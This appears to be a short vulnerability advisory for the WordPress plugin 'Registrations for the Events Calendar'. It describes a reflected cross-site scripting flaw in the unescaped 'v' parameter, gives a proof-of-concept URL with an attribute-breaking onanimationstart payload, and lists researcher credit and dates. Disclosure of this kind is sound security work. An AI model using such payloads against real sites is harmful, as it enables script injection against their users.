The plugin does not escape the v parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/admin.php?page=registrations-for-the-events-calendar&tab=registrations&v="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
ZhongFu Su(JrXnm) of Wuhan University
ZhongFu Su(JrXnm) of Wuhan University
Yes
2021-10-27 (about 1 years ago)
2021-10-27 (about 1 years ago)
2022-09-26 (about 4 months ago)